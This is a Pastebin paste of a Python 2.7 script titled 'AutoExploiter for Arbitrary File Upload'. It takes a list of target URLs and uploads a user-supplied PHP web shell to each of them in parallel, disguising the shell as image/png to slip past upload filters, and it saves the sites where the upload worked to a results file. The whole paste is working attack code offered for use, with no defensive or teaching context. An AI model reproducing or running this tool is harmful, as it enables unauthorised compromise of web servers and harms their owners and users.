ToKeiChun

AutoExploiter for Arbitrary File Upload [Python CSRF CLI Version]

Dec 25th, 2020 (edited)
1,065
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.00 KB | None | 0 0
  1. import requests
  2. import warnings
  3. import urlparse
  4. from colorama import Fore                  
  5. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  6. from time import time as timer
  7. from multiprocessing.dummy import Pool as ThreadPool
  8. warnings.simplefilter('ignore',InsecureRequestWarning)
  9.  
  10. #   build with python2.7 ! bypass image file upload by changing Content-Type header of the PHP files to image/png (at lines 34)
  11.  
  12. inputLIST = raw_input('Input Your List : ')
  13. try:
  14.     with open(inputLIST, 'r') as file:
  15.         read = file.read().splitlines()
  16. except IOError:
  17.     pass
  18. dom = list((read))
  19.  
  20. # example : Filedata, userfile, qqfile, etc.
  21. inputPARAM = raw_input('POST File Parameter : ')
  22.  
  23. # text result output after/if file uploaded
  24. inputRESULT = raw_input('Output Text if Uploaded (just leave it blank if u dont want to set any) : ')
  25.  
  26. # Your PHP WebShell File Name
  27. SHELLname = raw_input('Your Shell Name : ')
  28.  
  29. fr  =   Fore.RED                                           
  30. fg  =   Fore.GREEN     
  31. fy  =   Fore.YELLOW        
  32.    
  33.  
  34. headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
  35.  
  36. def csrf(url):
  37.     try:
  38.         paramUpload = [(inputPARAM, (SHELLname, open(SHELLname, 'rb'), 'image/png'))]
  39.         DOupload2 = requests.post(url, files=paramUpload, verify=False, headers=headers, timeout=10)
  40.         if inputRESULT in DOupload2.content:
  41.             print('{}====Success Upload==== : {}').format(fg,url)
  42.             print(fy+DOupload2.text)
  43.             with open('result/RESULT-SHELL.txt', 'a') as writer:
  44.                 writer.write(url + '\n' + DOupload2.text + '\n\n\n')
  45.         else:
  46.             print('{}====Failed Upload! Not Vulnerable!==== : {}').format(fr,url)
  47.     except:
  48.         pass
  49.  
  50. def runner(url):
  51.     try:
  52.         csrf(url)
  53.     except Exception as e:
  54.         print(e)
  55. def Main():
  56.     try:
  57.         start = timer()
  58.         tp = ThreadPool(15)
  59.         go = tp.map(runner, dom)
  60.     except:
  61.         pass
  62. if __name__ == '__main__':
  63.     Main()
Add Comment
Please, Sign In to add comment